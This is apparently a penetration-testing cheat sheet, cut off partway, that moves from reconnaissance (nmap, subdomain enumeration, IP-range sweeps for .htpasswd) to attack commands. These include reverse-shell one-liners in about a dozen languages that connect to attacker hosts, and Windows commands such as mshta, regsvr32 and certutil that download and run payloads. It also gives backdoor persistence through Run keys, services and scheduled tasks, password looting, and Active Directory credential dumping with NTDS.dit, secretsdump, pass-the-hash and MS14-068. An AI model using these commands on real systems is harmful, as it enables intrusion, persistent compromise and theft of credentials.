(https://www.google.com/transparencyreport/https/ct/?hl=en-US#domain=[DOMAIN]g&incl_exp=true&incl_sub=true)

```
site:*.domain.com -www
site:domain.com filetype:pdf
site:domain.com inurl:'&'
site:domain.com inurl:login,register,upload,logout,redirect,redir,goto,admin
site:domain.com ext:php,asp,aspx,jsp,jspa,txt,swf
site:*.*.domain.com
```

Subdomain take over using HostileSubBruteForcer

```
git clone https://github.com/nahamsec/HostileSubBruteforcer
chmox +x sub_brute.rb
./sub_brute.rb
```

EyeWitness and Nmap scans from the KnockPy and enumall scans

```
git clone https://github.com/ChrisTruncer/EyeWitness.git
./setup/setup.sh
./EyeWitness.py -f filename -t optionaltimeout --open (Optional)
./EyeWitness -f urls.txt --web
./EyeWitness -x urls.xml -t 8 --headless
./EyeWitness -f rdp.txt --rdp
```

Using Sublist3r

```
To enumerate subdomains of specific domain and show the results in realtime:
```

```
python sublist3r.py -v -d example.com

To enumerate subdomains and enable the bruteforce module:
python sublist3r.py -b -d example.com

To enumerate subdomains and use specific engines such Google, Yahoo and Virustotal
engines
python sublist3r.py -e google,yahoo,virustotal -d example.com

python sublist3r.py -b -d example.com
```

Using Aquatone

```
gem install aquatone
```

```
Discover subdomains : results in ~/aquatone/example.com/hosts.txt
aquatone-discover --domain example.com
aquatone-discover --domain example.com --threads 25
aquatone-discover --domain example.com --sleep 5 --jitter 30
aquatone-discover --set-key shodan o1hyw8pv59vSVjrZU3Qaz6ZQqgM91ihQ

Active scans : results in ~/aquatone/example.com/urls.txt
aquatone-scan --domain example.com
aquatone-scan --domain example.com --ports 80,443,3000,8080
aquatone-scan --domain example.com --ports large
aquatone-scan --domain example.com --threads 25

Final results
aquatone-gather --domain example.com
```

Passive recon

- Using Shodan (https://www.shodan.io/ (https://www.shodan.io/)) to detect similar app

```
can be integrated with nmap (https://github.com/glennzw/shodan-hq-nse)
nmap --script shodan-hq.nse --script-args 'apikey=<yourShodanAPIKey>,target=<
hackme>'
```

- Using The Wayback Machine (https://archive.org/web/ (https://archive.org/web/)) to detect forgotten endpoints

```
look for JS files, old links
```

- Using The Harvester (https://github.com/laramies/theHarvester (https://github.com/laramies/theHarvester))

```
python theHarvester.py -b all -d domain.com
```

Active recon

- Basic NMAP

```
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv

• the flag -sSV defines the type of packet to send to the server and tells Nm
ap to try and determine any service on open ports
• the -p- tells Nmap to check all 65,535 ports (by default it will only check
 the most popular 1,000)
• 192.168.0.1 is the IP address to scan
• -oA OUTPUTFILE tells Nmap to output the findings in its three major formats
 at once using the filename "OUTPUTFILE"
• -iL INPUTFILE tells Nmap to use the provided file as inputs
```

- CTF NMAP This configuration is enough to do a basic check for a CTF VM

```
nmap -sV -sC -oA ~/nmap-initial 192.168.1.1

-sV : Probe open ports to determine service/version info
-sC : to enable the script
-oA : to save the results

After this quick command you can add "-p-" to run a full scan while you work
 with the previous result
```

- Aggressive NMAP

```
nmap -A -T4 scanme.nmap.org
• -A: Enable OS detection, version detection, script scanning, and traceroute
• -T4: Defines the timing for the task (options are 0-5 and higher is faster
)
```

- NMAP and add-ons
  - Using searchsploit to detect vulnerable services

```
nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml
```

  - Generating nice scan report

```
nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y
`_report.html"
```

- NMAP Scripts

```
nmap -sC : equivalent to --script=default
```

```
nmap --script 'http-enum' -v web.xxxx.com -p80 -oN http-enum.nmap
PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|   /phpmyadmin/: phpMyAdmin
|   /.git/HEAD: Git folder
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (de
bian)'
|_  /image/: Potentially interesting directory w/ listing on 'apache/2.4.10 (
debian)'

nmap --script smb-enum-users.nse -p 445 [target host]
Host script results:
| smb-enum-users:
|   METASPLOITABLE\backup (RID: 1068)
|     Full name:   backup
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\bin (RID: 1004)
|     Full name:   bin
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\msfadmin (RID: 3000)
|     Full name:   msfadmin,,,
|     Flags:       Normal user account

List Nmap scripts : ls /usr/share/nmap/scripts/
```

- RPCClient

```
└─$ rpcclient -U "" [target host]
rpcclient $> querydominfo
Domain: WORKGROUP
Server: METASPLOITABLE
Comment: metasploitable server (Samba 3.0.20-Debian)
Total Users: 35

rpcclient $> enumdomusers
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
```

- Enum4all

```
Usage: ./enum4linux.pl [options]ip
-U        get userlist
-M        get machine list*
-S        get sharelist
-P        get password policy information
-G        get group and member list
-d        be detailed, applies to -U and -S
-u user   specify username to use (default “”)
-p pass   specify password to use (default “”
```

```
-a        Do all simple enumeration (-U -S -G -P -r -o -n -i).
-o        Get OS information
-i        Get printer information
==============================
|   Users on XXX.XXX.XXX.XXX |
==============================
index: 0x1 Account: games Name: games Desc: (null)
index: 0x2 Account: nobody Name: nobody Desc: (null)
index: 0x3 Account: bind Name: (null) Desc: (null)
index: 0x4 Account: proxy Name: proxy Desc: (null)
index: 0x5 Account: syslog Name: (null) Desc: (null)
index: 0x6 Account: user Name: just a user,111,, Desc: (null)
index: 0x7 Account: www-data Name: www-data Desc: (null)
index: 0x8 Account: root Name: root Desc: (null)
```

List all the subdirectories and files

- Using BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code.

```
git clone https://github.com/mazen160/bfac
```

```
Check a single URL
bfac --url http://example.com/test.php --level 4

Check a list of URLs
bfac --list testing_list.txt
```

- Using DirBuster or GoBuster

```
./gobuster -u http://buffered.io/ -w words.txt -t 10
-u url
-w wordlist
-t threads

More subdomain :
./gobuster -m dns -w subdomains.txt -u google.com -i

gobuster -w wordlist -u URL -r -e
```

- Using a script to detect all phpinfo.php files in a range of IPs (CIDR can be found with a whois)

```
#!/bin/bash
for ipa in 98.13{6..9}.{0..255}.{0..255}; do
wget -t 1 -T 3 http://${ipa}/phpinfo.php; done &
```

- Using a script to detect all .htpasswd files in a range of IPs

```
#!/bin/bash
for ipa in 98.13{6..9}.{0..255}.{0..255}; do
wget -t 1 -T 3 http://${ipa}/.htpasswd; done &
```

Looking for Web vulnerabilities

- Look for private information in GitHub repos with GitRob

```
git clone https://github.com/michenriksen/gitrob.git
gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://gith
ub.acme.com/api/v3 --access-tokens=token1,token2
```

- Explore the website with a proxy (ZAP/Burp Suite)

    1. Start proxy, visit the main target site and perform a Forced Browse to discover files and directories
    2. Map technologies used with Wappalyzer and Burp Suite (or ZAP) proxy
    3. Explore and understand available functionality, noting areas that correspond to vulnerability types

    ```
    Burp Proxy configuration on port 8080 (in .bashrc):
    alias set_proxy_burp='gsettings set org.gnome.system.proxy.http host "h
    ttp://localhost";gsettings set org.gnome.system.proxy.http port 8080;gs
    ettings set org.gnome.system.proxy mode "manual"'
    alias set_proxy_normal='gsettings set org.gnome.system.proxy mode "none
    "'

    then launch Burp with : java -jar burpsuite_free_v*.jar &
    ```

- Checklist for Web vulns (http://mdsec.net/wahh/tasks.html)
- Subscribe to the site and pay for the additional functionality to test
- Launch a Nikto scan in case you missed something

```
nikto -h http://domain.example.com
```

- Payment functionality - @gwendallecoguic (https://twitter.com/gwendallecoguic/status/988138794686779392)

    > *if the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free*

    From https://stripe.com/docs/testing#cards (https://stripe.com/docs/testing#cards) : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S. " e.g :

Test card numbers and tokens

NUMBER	BRAND	TOKEN
4242424242424242	Visa	tok_visa
4000056655665556	Visa (debit)	tok_visa_debit
5555555555554444	Mastercard	tok_mastercard

International test card numbers and tokens

NUMBER	TOKEN	COUNTRY	BRAND
4000000400000008	tok_at	Austria (AT)	Visa
4000000560000004	tok_be	Belgium (BE)	Visa
4000002080000001	tok_dk	Denmark (DK)	Visa
4000002460000001	tok_fi	Finland (FI)	Visa
4000002500000003	tok_fr	France (FR)	Visa

Thanks to

- [BugBounty] Yahoo phpinfo.php disclosure – Patrik Fehrenbach (http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/)
- Nmap CheatSheet – HackerTarget (https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/)

Reverse Shell Methods

Reverse Shell Cheat Sheet

Bash TCP

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

```
0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196
```

Bash UDP

```
Victim:
sh -i >& /dev/udp/127.0.0.1/4242 0>&1

Listener:
nc -u -lvp 4242
```

Perl

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

PHP

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

Netcat Traditional

```
nc -e /bin/sh [IPADDR] [PORT]
```

Netcat OpenBsd

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

Ncat

```
ncat 127.0.0.1 4444 -e /bin/bash
ncat --udp 127.0.0.1 4444 -e /bin/bash
```

Powershell

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
```

Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

NodeJS

```
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
```

Groovy - by frohoff

NOTE: Java reverse shell also work for Groovy

```
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

Spawn TTY

```
/bin/sh -i
```

(From an interpreter)

```
python -c 'import pty; pty.spawn("/bin/sh")'
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
```

Access shortcuts, su, nano and autocomplete in a partially tty shell /!\ OhMyZSH might break this trick

```
ctrl+z
stty raw -echo
fg
```

(From within vi)

```
:!bash
:set shell=/bin/bash:shell
```

(From within nmap)

```
!sh
```

Thanks to

- Reverse Bash Shell One Liner (https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
- Pentest Monkey - Cheat Sheet Reverse shell (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
- Spawning a TTY Shell (http://netsec.ws/?p=337)
- Obtaining a fully interactive shell (https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)

Windows - Download and execute methods

Downloaded files location

- C:\Users\\AppData\Local\Microsoft\Windows\Temporary Internet Files\
- C:\Users\\AppData\Local\Microsoft\Windows\INetCache\IE\
- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

Powershell

From an HTTP server

```
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.Crede
ntialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
```

From a Webdav server

```
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```

Cmd

```
cmd.exe /k < \\webdavserver\folder\batchfile.txt
```

Cscript / Wscript

```
cscript //E:jscript \\webdavserver\folder\payload.txt
```

Mshta

```
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```

```
mshta http://webserver/payload.hta
```

```
mshta \\webdavserver\folder\payload.hta
```

Rundll32

```
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```

```
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```

Regasm / Regsvc @subTee

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```

Regsvr32 @subTee

```
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```

```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```

Odbcconf

```
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```

Msbuild

```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```

Certutil

```
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```

```
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```

Thanks to

- arno0x0x - Windows oneliners to download remote payload and execute arbitrary code (https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

Windows - Persistence

Userland

Registry

Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.

```
Value name:  Backdoor
Value data:  C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```

Startup

Create a batch script in the user startup folder.

```
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Sta
rtup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```

Scheduled Task

```
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rast
a\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```

Elevated

HKLM

Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.

```
Value name:  Backdoor
Value data:  C:\Windows\Temp\backdoor.exe
```

Services

Create a service that will start automatically or on-demand.

```
PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe"
 -Description "Nothing to see here."
```

Scheduled Tasks

Scheduled Task to run as SYSTEM, everyday at 9am.

```
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Te
mp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```

Thanks to

- A view of persistence - Rastamouse (https://rastamouse.me/2018/03/a-view-of-persistence/)
- Windows Persistence Commands - Pwn Wiki (http://pwnwiki.io/#!persistence/windows/index.md)

Windows - Privilege Escalation

Almost all of the following commands are from The Open Source Windows Privilege Escalation Cheat Sheet (https://addaxsoft.com/wpecs/)

Windows Version and Configuration

```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

Architecture

```
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```

List all env variables

```
set
```

List all drives

```
wmic logicaldisk get caption || fsutil fsinfo drives
```

User Enumeration

Get current username

```
echo %USERNAME% || whoami
```

List all users

```
net user
whoami /all
```

List logon requirements; useable for bruteforcing

```
net accounts
```

Get details about a user (i.e. administrator, admin, current user)

```
net user administrator
net user admin
```

```
net user %USERNAME%
```

List all local groups

```
net localgroup
```

Get details about a group (i.e. administrators)

```
net localgroup administrators
```

Network Enumeration

List all network interfaces

```
ipconfig /all
```

List current routing table

```
route print
```

List the ARP table

```
arp -A
```

List all current connections

```
netstat -ano
```

List firware state and current configuration

```
netsh advfirewall firewall dump
```

List all network shares

```
net share
```

Looting for passwords

Search for file contents**

```
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
```

Search for a file with a certain filename

```
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
```

Search the registry for key names

```
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
```

Read a value of a certain sub key

```
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
```

Password in unattend.xml

Location of the unattend.xml files

```
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Example content

```
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" l
anguage="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>*SENSITIVE*DATA*DELETED*</Password>
     <Enabled>true</Enabled>
     <Username>Administrateur</Username>
    </AutoLogon>

    <UserAccounts>
     <LocalAccounts>
      <LocalAccount wcm:action="add">
       <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Group>administrators;users</Group>
       <Name>Administrateur</Name>
      </LocalAccount>
     </LocalAccounts>
    </UserAccounts>
```

The Metasploit module `post/windows/gather/enum_unattend` looks for these files.

Processes Enum

What processes are running?

```
tasklist /v
```

Which processes are running as "system"

```
tasklist /v /fi "username eq system"
```

Do you have powershell magic?

```
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVers
ion
```

Uploading / Downloading files

a wget using powershell

```
powershell -Noninteractive -NoProfile -command "wget https://addaxsoft.com/download
/wpecs/wget.exe -UseBasicParsing -OutFile %TEMP%\wget.exe"
```

wget using bitsadmin (when powershell is not present)

```
cmd /c "bitsadmin /transfer myjob /download /priority high https://addaxsoft.com/do
wnload/wpecs/wget.exe %TEMP%\wget.exe"
```

now you have wget.exe that can be executed from %TEMP%wget for example I will use it here to download netcat

```
%TEMP%\wget https://addaxsoft.com/download/wpecs/nc.exe
```

Spot the weak service using PowerSploit's PowerUP

```
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadStri
ng('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/Po
werUp.ps1'); Invoke-AllChecks
```

Thanks to

- The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte (https://addaxsoft.com/wpecs/)
- Basic Linux Privilege Escalation (https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- Windows Privilege Escalation Fundamentals (http://www.fuzzysecurity.com/tutorials/16.html)
- TOP–10 ways to boost your privileges in Windows systems - hackmag (https://hackmag.com/security/elevating-privileges-to-administrative-and-further/)
- The SYSTEM Challenge (https://decoder.cloud/2017/02/21/the-system-challenge/)

Active Directory Attacks

Summary

- Tools
- Most common paths to AD compromise
    - MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
    - Open Shares
    - GPO - Pivoting with Local Admin & Passwords in SYSVOL
    - Dumping AD Domain Credentials
    - Password in AD User comment
    - Golden Tickets
    - Silver Tickets
    - Trust Tickets
    - Kerberoast
    - Pass-the-Hash
    - OverPass-the-Hash (pass the key)
    - Dangerous Built-in Groups Usage
    - Trust relationship between domains
- Privilege Escalation
    - PrivEsc Local Admin - Token Impersonation (RottenPotato)
    - PrivEsc Local Admin - MS16-032
    - PrivEsc Local Admin - MS17-010 (Eternal Blue)
    - From Local Admin to Domain Admin

Tools

- Impacket (https://github.com/CoreSecurity/impacket) or the Windows version (https://github.com/maaaaz/impacket-examples-windows)
- Responder (https://github.com/SpiderLabs/Responder)
- Mimikatz (https://github.com/gentilkiwi/mimikatz)
- Ranger (https://github.com/funkandwagnalls/ranger)
- BloodHound (https://github.com/BloodHoundAD/BloodHound)

```
apt install bloodhound #kali
```

```
neo4j console
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:n
eo4j
./bloodhound
SharpHound.exe (from resources/Ingestor)
or
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
```

- AdExplorer (https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
- CrackMapExec (https://github.com/byt3bl33d3r/CrackMapExec)

```
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
crackmapexec smb -L
crackmapexec smb -M name_module -o VAR=DATA
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --s
hares
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M
rdp -o ACTION=enable
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M
metinject -o LHOST=192.168.1.63 LPORT=4443
crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f"
-M web_delivery -o URL="https://IP:PORT/posh-payload"
crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f"
--exec-method smbexec -X 'whoami'
```

- PowerSploit (https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)

```
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadS
tring('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks"
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadS
tring('http://10.10.10.10/Invoke-Mimikatz.ps1');"
```

- Active Directory Assessment and Privilege Escalation Script (https://github.com/hausec/ADAPE-Script)

Most common paths to AD compromise

MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

```
Exploit Python: https://www.exploit-db.com/exploits/35474/
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum

git clone https://github.com/bidord/pykek
python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAdd
r> -p <clearPassword>
python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-2
1-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
```

```
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```

Open Shares

```
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
ls # list files
cd
get # download files
put # replace a file
```

Mount a share

```
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
```

GPO - Pivoting with Local Admin & Passwords in SYSVOL

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

Find password in SYSVOL

```
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a password found in SYSVOL (by 0x00C651E0 (https://twitter.com/0x00C651E0/status/956362334682849280))

```
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```

Metasploit modules to enumerate shares and credentials

```
scanner/smb/smb_enumshares
windows/gather/enumshares
windows/gather/credentials/gpp
```

Crackmapexec modules

```
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
```

List all GPO for a domain

```
Get-GPO -domaine DOMAIN.COM -all
```

```
Get-GPOReport -all -reporttype xml --all

Powersploit:
Get-NetGPO
Get-NetGPOGroup
```

Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)

Using ndtsutil

```
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
```

Using Vshadow

```
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
```

You can also use the Nishang script, available at : https://github.com/samratashok/nishang (https://github.com/samratashok/nishang)

```
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
```

Using vssadmin

```
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Shado
wCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM
 C:\ShadowCopy
```

Using DiskShadow (a Windows signed binary)

```
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
```

```
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
```

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes

```
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

secretsdump also works remotely

```
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```

Alternatives - modules

Metasploit modules

```
windows/gather/credentials/domain_hashdump
```

PowerSploit module

```
Invoke-NinjaCopy -path c:\windows\NTDS\ntds.dit -verbose -localdestination c:\ntds.dit
```

CrackMapExec module

```
cme smb 10.10.0.202 -u username -p password --ntds vss
```

Password in AD User comment

```
enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas:
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
```

PassTheTicket Golden Tickets

Forging a TGT require the krbtgt key

Mimikatz version

```
Get info - Mimikatz
lsadump::dcsync /user:krbtgt
